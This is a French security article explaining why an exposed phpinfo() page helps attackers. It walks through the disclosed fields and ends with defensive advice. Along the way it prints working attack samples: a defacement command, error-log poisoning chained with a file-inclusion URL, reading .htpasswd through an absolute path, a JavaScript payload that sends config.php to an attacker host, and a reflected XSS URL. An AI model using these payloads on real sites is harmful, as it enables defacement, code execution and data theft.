|
||
|
----------------------------------------------------------------------- Beaucoup de site utilisent la fonction phpinfo(). Certains à cause de produits PHP dans lesquelles une page executant cette fonction est incorporée ( comme phpinfo.php dans certaines versions de phpBB), d'autres pour vérifier la configuration de leur ordinateur, d'autres pour la montrer aux visiteurs,... Mais très peu se doutent que l'execution de cette fonction est dangereuse pour la sécurité du site, et c'est ce que je compte démontrer dans le texte qui suit. La première chose, qui est évidente, est la masse de données qui nous est fournie grâce à l'execution de la fonction phpinfo(). Je vais tenter de donner quelques exemples d'informations sensibles et d'expliquer pourquoi elles le sont, et donc comment un hacker pourrait les utiliser. La première information donnée est la version de PHP utilisée (PHP Version). Réveler la version d'une application n'est pas en soi une faille, mais ça facilite la tâche d'un hacker. En effet si une faille a été découverte dans une version précise d'une application, le hacker saura directement où chercher. Par exemple sur securitybugware.org, si on fait une recherche à "PHP 4.3.0", on a deux résultat. Un premier disant que la version 4.3.0 est touchée par le bug "--enable-force-cgi-redirect" (permettant de lire les sources des fichiers PHP), mais pas par la faille de la fonction wordwrap(), qui touche les versions inférieures. Dans le même type, on a le cadre "System", donnant la configuration du système, par exemple l'OS, sa version,... Vient ensuite le tableau nommé "PHP Core". On y voit, dans la ligne "asp_tags", si les balises ASP peuvent être utilisées ou pas sur ce site, ce qui ouvre des portes au niveau du Cross Site Scripting (voir http://www.frog-man.org/tutos/css.txt ). On voit après la ligne "disable_functions", affichant comme le dit son nom les fonctions PHP qui ont été désactivées sur le serveur. Encore une fois ce n'est pas une faille en soi mais un élément qui facilite le 'travail' du hacker. Par exemple si le hacker veut défacer une page, et qu'il voit que les fonctions system(), passthru(),... sont désactivées, il executera un code avec fopen(), et fwrite plutôt que <? system('echo TEXTE >> ../index.html'); ?> Puis vient la ligne "error_log", contenant le path et le nom du fichier contenant les erreurs web (exemple : /var/log/php_error.log). On sait que si on connait le fichier de log des erreurs, et que le site contient un certain type de faille d'inclusion de fichiers, le hacker pourra executer du code PHP sur et par le serveur. Une rapide expliquation... Imaginons un code PHP dans file.php : ----------------------- <? if (file_exists($page)) { include($page); } ?> ----------------------- Si quelqu'un tape une URL non-existante contenant du code PHP, par exemple http://[target]/ffffff/<?%20echo%20$value;%20?>, le code <? echo $value; ?> sera écrit dans le fichier .log. Si ce dernier est inclut dans le fichier PHP avec par exemple l'url http://[target]/file.php?page=/var/log/php_error.log, le code PHP y sera executé. Toujours dans"PHP Core", la ligne open_basedir nous donne le path du site web (exemple : /home/httpd/public_html/). Imaginons un hacker voulant afficher le .htpasswd. Avec la faille précédente, il aurait suffit de taper l'url http://[target]/file.php?page=../.htpasswd Mais si le code de file.php est : ------------------------------------------------ <? if (!ereg('\.\.',$page) && file_exists($page)) { include($page); } ?> ------------------------------------------------ L'utilisation des '..' pour remonter au dossier parent est impossible. Si on connait le path du site, alors ça devient possible, avec une url du type : http://[target]/file.php?page=/home/httpd/.htpasswd, ne contenant pas de '..'. Une autre possibilité d'utilisation de cette information est dans le XSS, encore une fois. Si on a le path complet et que le webmaster visite une page contenant ce script : --------------------------------------------------------------------------- <script> dafile=window.open('/home/httpd/public_html/config.php'); window.open('http://[attacker]/file.php?'+dafile.document.body.innerText); </script> --------------------------------------------------------------------------- depuis l'ordinateur dans lequel se trouve le site, il renverra la source du fichier config.php au fichier http://[attacker]/file.php, qui enregistrera l'information d'une façon ou d'une autre. La ligne register_globals (on ou off) donne une information de plus au hacker sur ce qu'il peut et ne peut pas faire. Si reg_ster_globals est ON, il pourra utiliser toutes les variables non-définies dans les scripts php. Sinon, il ne pourra utiliser que les variables $_GET, $_POST ou $_COOKIE. Enfin, la ligne "SMTP" nous donne l'host du serveur SMTP. Bon pour tester l'envois de mails anonymes ou simplement des exploits liés au SMTP. Dans "Configuration", après "PHP Core" vient la partie "XML", nous disant si le XML est activé ou pas. Du XML pourrait encore être utilisé dans un Cross Site Scripting. La partie "openssl", nous donne à la ligne "OpenSSL Version" la version de l'OpenSSL... même problème que pour la version PHP. On voit ensuite le tableau "mysql". Il contient toutes les informations par défaut (si il y en a) de la base de donnée MySQL. Le serveur dans "mysql.default_host", le mot de passe dans "mysql.default_password", le port dans "mysql.default_port" et enfin le login utilisateur dans "mysql.default_user". La partie "apache" donne, à la ligne "apache version", la version de l'apache utilisé. Dans la partie "apache environment", on peut encore trouvé le path du site dans "DOCUMENT_ROOT", et le path ainsi que le nom du fichier dans "SCRIPT_FILENAME" (exemple : /home/httpd/public_html/phpinfo.php ). Même chose dans la partie "PHP Variables", mais sous l'appelation _SERVER["DOCUMENT_ROOT"] et _SERVER["SCRIPT_FILENAME"]. Ceci n'était que quelques bribes d'informations qui pourraient être utilisées par des hackers. Le deuxième style de faille est exploitable plus directement sur une page dans laquelle une fonction phpinfo() est exécutée. Il s'agit d'une faille Cross Site Scripting. En effet dans "apache environment", on peut voir la ligne _SERVER["argv"]. Dans cette ligne se trouve la requête executée sur la page en GET, c'est à dire tout ce qui se trouve après le ? dans l'url. Par exemple pour l'url http://[target]/phpinfo.php?b=aaa , on verra à cette ligne : ----------------- Array ( [0] => b=aaa ) ----------------- Mais il n'y a aucun filtre à l'affichage de cette requête. Une url du type http://[target]/phpinfo.php?<script>[SCRIPT]</script> fera donc executer le javascript inscrit dans [SCRIPT] sur la page phpinfo.php. Faire la liste de toutes les utilisations possibles de l'execution de phpinfo() serait inutile, car le but de ce texte n'est pas d'expliquer comment pirater un site mais bien de prouver que la fonction phpinfo() n'est pas à faire executer n'importe où. Il est donc conseillé de bien fermer l'accès à une page sur laquelle serait executée cette fonction, ou, mieux, de ne pas la faire executer. ----------------------------------------------------------------------- |
||
|